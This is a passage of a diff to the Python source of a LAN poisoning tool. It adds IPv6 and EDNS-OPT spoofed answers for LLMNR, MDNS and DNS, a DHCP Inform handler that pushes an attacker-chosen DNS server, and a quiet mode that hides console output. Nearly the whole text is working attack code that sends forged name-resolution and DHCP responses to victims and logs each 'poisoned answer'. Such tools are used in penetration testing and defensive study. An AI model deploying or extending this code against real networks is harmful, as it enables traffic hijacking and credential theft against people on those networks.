IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
||||||
return ''.join(IP[0:4]).encode('latin-1')
|
return ''.join(IP[0:4]).encode('latin-1')
|
||||||
|
|
||||||
def ParseDHCPCode(data, ClientIP):
|
def ParseDHCPCode(data, ClientIP,DHCP_DNS):
|
||||||
global DHCPClient
|
global DHCPClient
|
||||||
global ROUTERIP
|
global ROUTERIP
|
||||||
PTid = data[4:8]
|
PTid = data[4:8]
|
||||||
@@ -249,8 +256,8 @@ def ParseDHCPCode(data, ClientIP):
|
|||||||
RequestIP = data[245:249]
|
RequestIP = data[245:249]
|
||||||
|
|
||||||
if DHCPClient.count(MacAddrStr) >= 4:
|
if DHCPClient.count(MacAddrStr) >= 4:
|
||||||
return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr
|
return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr
|
||||||
|
|
||||||
if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer
|
if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer
|
||||||
ROUTERIP = ClientIP
|
ROUTERIP = ClientIP
|
||||||
return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP)
|
return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP)
|
||||||
@@ -262,7 +269,7 @@ def ParseDHCPCode(data, ClientIP):
|
|||||||
if RespondToThisIP(IPConv):
|
if RespondToThisIP(IPConv):
|
||||||
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
|
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
|
||||||
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
|
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
|
||||||
Packet.calculate()
|
Packet.calculate(DHCP_DNS)
|
||||||
Buffer = UDP(Data = Packet)
|
Buffer = UDP(Data = Packet)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
||||||
@@ -273,6 +280,26 @@ def ParseDHCPCode(data, ClientIP):
|
|||||||
'RequestedIP': IPConv,
|
'RequestedIP': IPConv,
|
||||||
})
|
})
|
||||||
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
|
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
|
||||||
|
|
||||||
|
# DHCP Inform
|
||||||
|
elif OpCode == b"\x08":
|
||||||
|
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP).decode('latin-1'))
|
||||||
|
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
|
||||||
|
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||||
|
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||||
|
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||||
|
ElapsedSec=Seconds.decode('latin-1'))
|
||||||
|
Packet.calculate(DHCP_DNS)
|
||||||
|
Buffer = UDP(Data = Packet)
|
||||||
|
Buffer.calculate()
|
||||||
|
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
||||||
|
DHCPClient.append(MacAddrStr)
|
||||||
|
SaveDHCPToDb({
|
||||||
|
'MAC': MacAddrStr,
|
||||||
|
'IP': CurrentIP,
|
||||||
|
'RequestedIP': RequestedIP,
|
||||||
|
})
|
||||||
|
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
||||||
|
|
||||||
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
|
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
|
||||||
IP = FindIP(data)
|
IP = FindIP(data)
|
||||||
@@ -281,7 +308,7 @@ def ParseDHCPCode(data, ClientIP):
|
|||||||
if RespondToThisIP(IPConv):
|
if RespondToThisIP(IPConv):
|
||||||
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
|
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
|
||||||
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
|
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
|
||||||
Packet.calculate()
|
Packet.calculate(DHCP_DNS)
|
||||||
Buffer = UDP(Data = Packet)
|
Buffer = UDP(Data = Packet)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
||||||
@@ -308,7 +335,7 @@ def SendDHCP(packet,Host):
|
|||||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||||
s.sendto(NetworkSendBufferPython2or3(packet), Host)
|
s.sendto(NetworkSendBufferPython2or3(packet), Host)
|
||||||
|
|
||||||
def DHCP():
|
def DHCP(DHCP_DNS):
|
||||||
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||||
s.bind((Interface, 0x0800))
|
s.bind((Interface, 0x0800))
|
||||||
SendDiscover()
|
SendDiscover()
|
||||||
@@ -318,6 +345,6 @@ def DHCP():
|
|||||||
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
||||||
if SrcPort == 67 or DstPort == 67:
|
if SrcPort == 67 or DstPort == 67:
|
||||||
ClientIP = socket.inet_ntoa(data[0][26:30])
|
ClientIP = socket.inet_ntoa(data[0][26:30])
|
||||||
ret = ParseDHCPCode(data[0][42:], ClientIP)
|
ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS)
|
||||||
if ret:
|
if ret and not settings.Config.Quiet_Mode:
|
||||||
print(text("[*] [DHCP] %s" % ret))
|
print(text("[*] [DHCP] %s" % ret))
|
||||||
|
|||||||
50
poisoners/LLMNR.py
Normal file → Executable file
50
poisoners/LLMNR.py
Normal file → Executable file
@@ -14,9 +14,7 @@
|
|||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
from packets import LLMNR_Ans, LLMNR6_Ans
|
||||||
import fingerprint
|
|
||||||
from packets import LLMNR_Ans
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
if (sys.version_info > (3, 0)):
|
if (sys.version_info > (3, 0)):
|
||||||
@@ -24,9 +22,6 @@ if (sys.version_info > (3, 0)):
|
|||||||
else:
|
else:
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def Parse_LLMNR_Name(data):
|
def Parse_LLMNR_Name(data):
|
||||||
import codecs
|
import codecs
|
||||||
NameLen = data[12]
|
NameLen = data[12]
|
||||||
@@ -42,7 +37,7 @@ def IsICMPRedirectPlausible(IP):
|
|||||||
for line in file:
|
for line in file:
|
||||||
ip = line.split()
|
ip = line.split()
|
||||||
if len(ip) < 2:
|
if len(ip) < 2:
|
||||||
continue
|
continue
|
||||||
elif ip[0] == 'nameserver':
|
elif ip[0] == 'nameserver':
|
||||||
dnsip.extend(ip[1:])
|
dnsip.extend(ip[1:])
|
||||||
for x in dnsip:
|
for x in dnsip:
|
||||||
@@ -60,37 +55,50 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
|||||||
try:
|
try:
|
||||||
data, soc = self.request
|
data, soc = self.request
|
||||||
Name = Parse_LLMNR_Name(data).decode("latin-1")
|
Name = Parse_LLMNR_Name(data).decode("latin-1")
|
||||||
|
LLMNRType = Parse_IPV6_Addr(data)
|
||||||
|
|
||||||
# Break out if we don't want to respond to this host
|
# Break out if we don't want to respond to this host
|
||||||
if RespondToThisHost(self.client_address[0], Name) is not True:
|
if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
|
||||||
return None
|
return None
|
||||||
if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data):
|
#IPv4
|
||||||
Finger = None
|
if data[2:4] == b'\x00\x00' and LLMNRType:
|
||||||
if settings.Config.Finger_On_Off:
|
|
||||||
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
|
|
||||||
|
|
||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
LineHeader = "[Analyze mode: LLMNR]"
|
LineHeader = "[Analyze mode: LLMNR]"
|
||||||
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
|
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'LLMNR',
|
'Poisoner': 'LLMNR',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
'ForName': Name,
|
'ForName': Name,
|
||||||
'AnalyzeMode': '1',
|
'AnalyzeMode': '1',
|
||||||
})
|
})
|
||||||
else: # Poisoning Mode
|
|
||||||
|
elif LLMNRType == True: # Poisoning Mode
|
||||||
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
||||||
Buffer1.calculate()
|
Buffer1.calculate()
|
||||||
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||||
LineHeader = "[*] [LLMNR]"
|
if not settings.Config.Quiet_Mode:
|
||||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1))
|
LineHeader = "[*] [LLMNR]"
|
||||||
|
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'LLMNR',
|
'Poisoner': 'LLMNR',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
'ForName': Name,
|
'ForName': Name,
|
||||||
'AnalyzeMode': '0',
|
'AnalyzeMode': '0',
|
||||||
})
|
})
|
||||||
if Finger is not None:
|
|
||||||
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
|
elif LLMNRType == 'IPv6':
|
||||||
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
|
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
||||||
|
Buffer1.calculate()
|
||||||
|
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||||
|
if not settings.Config.Quiet_Mode:
|
||||||
|
LineHeader = "[*] [LLMNR]"
|
||||||
|
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'LLMNR6',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Name,
|
||||||
|
'AnalyzeMode': '0',
|
||||||
|
})
|
||||||
|
|
||||||
except:
|
except:
|
||||||
raise
|
pass
|
||||||
|
|||||||
68
poisoners/MDNS.py
Normal file → Executable file
68
poisoners/MDNS.py
Normal file → Executable file
@@ -20,7 +20,7 @@ if (sys.version_info > (3, 0)):
|
|||||||
from socketserver import BaseRequestHandler
|
from socketserver import BaseRequestHandler
|
||||||
else:
|
else:
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import MDNS_Ans
|
from packets import MDNS_Ans, MDNS6_Ans
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
def Parse_MDNS_Name(data):
|
def Parse_MDNS_Name(data):
|
||||||
@@ -32,14 +32,14 @@ def Parse_MDNS_Name(data):
|
|||||||
NameLen_ = data[1+NameLen]
|
NameLen_ = data[1+NameLen]
|
||||||
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
||||||
FinalName = Name+b'.'+Name_
|
FinalName = Name+b'.'+Name_
|
||||||
return FinalName.decode("latin-1")
|
return FinalName.decode("latin-1").replace("\x05","")
|
||||||
else:
|
else:
|
||||||
data = NetworkRecvBufferPython2or3(data[12:])
|
data = NetworkRecvBufferPython2or3(data[12:])
|
||||||
NameLen = struct.unpack('>B',data[0])[0]
|
NameLen = struct.unpack('>B',data[0])[0]
|
||||||
Name = data[1:1+NameLen]
|
Name = data[1:1+NameLen]
|
||||||
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
|
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
|
||||||
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
|
||||||
return Name+'.'+Name_
|
return Name+'.'+Name_.replace("\x05","")
|
||||||
|
|
||||||
except IndexError:
|
except IndexError:
|
||||||
return None
|
return None
|
||||||
@@ -51,37 +51,47 @@ def Poisoned_MDNS_Name(data):
|
|||||||
|
|
||||||
class MDNS(BaseRequestHandler):
|
class MDNS(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
MADDR = "224.0.0.251"
|
|
||||||
MPORT = 5353
|
|
||||||
|
|
||||||
data, soc = self.request
|
data, soc = self.request
|
||||||
Request_Name = Parse_MDNS_Name(data)
|
Request_Name = Parse_MDNS_Name(data)
|
||||||
|
MDNSType = Parse_IPV6_Addr(data)
|
||||||
# Break out if we don't want to respond to this host
|
# Break out if we don't want to respond to this host
|
||||||
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
|
|
||||||
|
if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True):
|
||||||
return None
|
return None
|
||||||
|
|
||||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||||
if Parse_IPV6_Addr(data):
|
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3))))
|
||||||
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))))
|
SavePoisonersToDb({
|
||||||
SavePoisonersToDb({
|
'Poisoner': 'MDNS',
|
||||||
'Poisoner': 'MDNS',
|
'SentToIp': self.client_address[0],
|
||||||
'SentToIp': self.client_address[0],
|
'ForName': Request_Name,
|
||||||
'ForName': Request_Name,
|
'AnalyzeMode': '1',
|
||||||
'AnalyzeMode': '1',
|
})
|
||||||
})
|
elif MDNSType == True: # Poisoning Mode
|
||||||
else: # Poisoning Mode
|
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||||
if Parse_IPV6_Addr(data):
|
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
|
||||||
|
Buffer.calculate()
|
||||||
|
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
||||||
|
if not settings.Config.Quiet_Mode:
|
||||||
|
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'MDNS',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Request_Name,
|
||||||
|
'AnalyzeMode': '0',
|
||||||
|
})
|
||||||
|
|
||||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
elif MDNSType == 'IPv6': # Poisoning Mode
|
||||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
|
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||||
Buffer.calculate()
|
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
|
||||||
soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT))
|
Buffer.calculate()
|
||||||
|
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
||||||
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
|
if not settings.Config.Quiet_Mode:
|
||||||
SavePoisonersToDb({
|
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
|
||||||
'Poisoner': 'MDNS',
|
SavePoisonersToDb({
|
||||||
'SentToIp': self.client_address[0],
|
'Poisoner': 'MDNS6',
|
||||||
'ForName': Request_Name,
|
'SentToIp': self.client_address[0],
|
||||||
'AnalyzeMode': '0',
|
'ForName': Request_Name,
|
||||||
})
|
'AnalyzeMode': '0',
|
||||||
|
})
|
||||||
|
|||||||
33
poisoners/NBTNS.py
Normal file → Executable file
33
poisoners/NBTNS.py
Normal file → Executable file
@@ -14,7 +14,6 @@
|
|||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import fingerprint
|
|
||||||
import sys
|
import sys
|
||||||
from packets import NBT_Ans
|
from packets import NBT_Ans
|
||||||
from utils import *
|
from utils import *
|
||||||
@@ -24,21 +23,6 @@ if (sys.version_info > (3, 0)):
|
|||||||
else:
|
else:
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
|
|
||||||
# Define what are we answering to.
|
|
||||||
def Validate_NBT_NS(data):
|
|
||||||
print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46]))
|
|
||||||
if settings.Config.AnalyzeMode:
|
|
||||||
return False
|
|
||||||
elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server":
|
|
||||||
return True
|
|
||||||
elif settings.Config.NBTNSDomain:
|
|
||||||
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller":
|
|
||||||
return True
|
|
||||||
elif settings.Config.Wredirect:
|
|
||||||
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector":
|
|
||||||
return True
|
|
||||||
return False
|
|
||||||
|
|
||||||
# NBT_NS Server class.
|
# NBT_NS Server class.
|
||||||
class NBTNS(BaseRequestHandler):
|
class NBTNS(BaseRequestHandler):
|
||||||
|
|
||||||
@@ -47,17 +31,12 @@ class NBTNS(BaseRequestHandler):
|
|||||||
data, socket = self.request
|
data, socket = self.request
|
||||||
Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
|
Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
|
||||||
# Break out if we don't want to respond to this host
|
# Break out if we don't want to respond to this host
|
||||||
if RespondToThisHost(self.client_address[0], Name) is not True:
|
if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
if data[2:4] == b'\x01\x10':
|
if data[2:4] == b'\x01\x10':
|
||||||
Finger = None
|
|
||||||
if settings.Config.Finger_On_Off:
|
|
||||||
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
|
|
||||||
|
|
||||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||||
LineHeader = "[Analyze mode: NBT-NS]"
|
print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3))))
|
||||||
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
|
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'NBT-NS',
|
'Poisoner': 'NBT-NS',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
@@ -68,8 +47,9 @@ class NBTNS(BaseRequestHandler):
|
|||||||
Buffer1 = NBT_Ans()
|
Buffer1 = NBT_Ans()
|
||||||
Buffer1.calculate(data)
|
Buffer1.calculate(data)
|
||||||
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||||
LineHeader = "[*] [NBT-NS]"
|
if not settings.Config.Quiet_Mode:
|
||||||
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
|
LineHeader = "[*] [NBT-NS]"
|
||||||
|
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
|
||||||
SavePoisonersToDb({
|
SavePoisonersToDb({
|
||||||
'Poisoner': 'NBT-NS',
|
'Poisoner': 'NBT-NS',
|
||||||
'SentToIp': self.client_address[0],
|
'SentToIp': self.client_address[0],
|
||||||
@@ -77,6 +57,3 @@ class NBTNS(BaseRequestHandler):
|
|||||||
'AnalyzeMode': '0',
|
'AnalyzeMode': '0',
|
||||||
})
|
})
|
||||||
|
|
||||||
if Finger is not None:
|
|
||||||
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
|
|
||||||
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
|
|
||||||
|
|||||||
1
requirements.txt
Normal file
1
requirements.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
netifaces==0.10.4
|
||||||
@@ -165,7 +165,7 @@ def BecomeBackup(data,Client):
|
|||||||
Role = NBT_NS_Role(data[45:48])
|
Role = NBT_NS_Role(data[45:48])
|
||||||
|
|
||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)))
|
print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client.replace("::ffff:",""), Name,Role,Domain)))
|
||||||
RAPInfo = RAPThisDomain(Client, Domain)
|
RAPInfo = RAPThisDomain(Client, Domain)
|
||||||
if RAPInfo is not None:
|
if RAPInfo is not None:
|
||||||
print(RAPInfo)
|
print(RAPInfo)
|
||||||
@@ -182,7 +182,7 @@ def ParseDatagramNBTNames(data,Client):
|
|||||||
|
|
||||||
|
|
||||||
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
|
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
|
||||||
print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)))
|
print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client.replace("::ffff:",""), Name, Role1, Domain, Role2)))
|
||||||
RAPInfo = RAPThisDomain(Client, Domain)
|
RAPInfo = RAPThisDomain(Client, Domain)
|
||||||
if RAPInfo is not None:
|
if RAPInfo is not None:
|
||||||
print(RAPInfo)
|
print(RAPInfo)
|
||||||
|
|||||||
@@ -15,7 +15,7 @@
|
|||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
from utils import *
|
from utils import *
|
||||||
from packets import DNS_Ans, DNS_SRV_Ans
|
from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans, DNS_AnsOPT
|
||||||
if settings.Config.PY2OR3 == "PY3":
|
if settings.Config.PY2OR3 == "PY3":
|
||||||
from socketserver import BaseRequestHandler
|
from socketserver import BaseRequestHandler
|
||||||
else:
|
else:
|
||||||
@@ -23,11 +23,16 @@ else:
|
|||||||
|
|
||||||
def ParseDNSType(data):
|
def ParseDNSType(data):
|
||||||
QueryTypeClass = data[len(data)-4:]
|
QueryTypeClass = data[len(data)-4:]
|
||||||
|
OPT = data[len(data)-22:len(data)-20]
|
||||||
|
if OPT == "\x00\x29":
|
||||||
|
return "OPTIPv4"
|
||||||
# If Type A, Class IN, then answer.
|
# If Type A, Class IN, then answer.
|
||||||
if QueryTypeClass == "\x00\x01\x00\x01":
|
elif QueryTypeClass == "\x00\x01\x00\x01":
|
||||||
return "A"
|
return "A"
|
||||||
if QueryTypeClass == "\x00\x21\x00\x01":
|
elif QueryTypeClass == "\x00\x21\x00\x01":
|
||||||
return "SRV"
|
return "SRV"
|
||||||
|
elif QueryTypeClass == "\x00\x1c\x00\x01":
|
||||||
|
return "IPv6"
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@@ -44,14 +49,36 @@ class DNS(BaseRequestHandler):
|
|||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||||
|
|
||||||
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
|
||||||
|
buff = DNS_AnsOPT()
|
||||||
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
|
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||||
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
|
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||||
|
|
||||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
||||||
buff = DNS_SRV_Ans()
|
buff = DNS_SRV_Ans()
|
||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||||
|
|
||||||
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
|
||||||
|
buff = DNS6_Ans()
|
||||||
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
|
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||||
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
|
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||||
|
|
||||||
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
|
||||||
|
buff = DNS6_Ans()
|
||||||
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
|
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||||
|
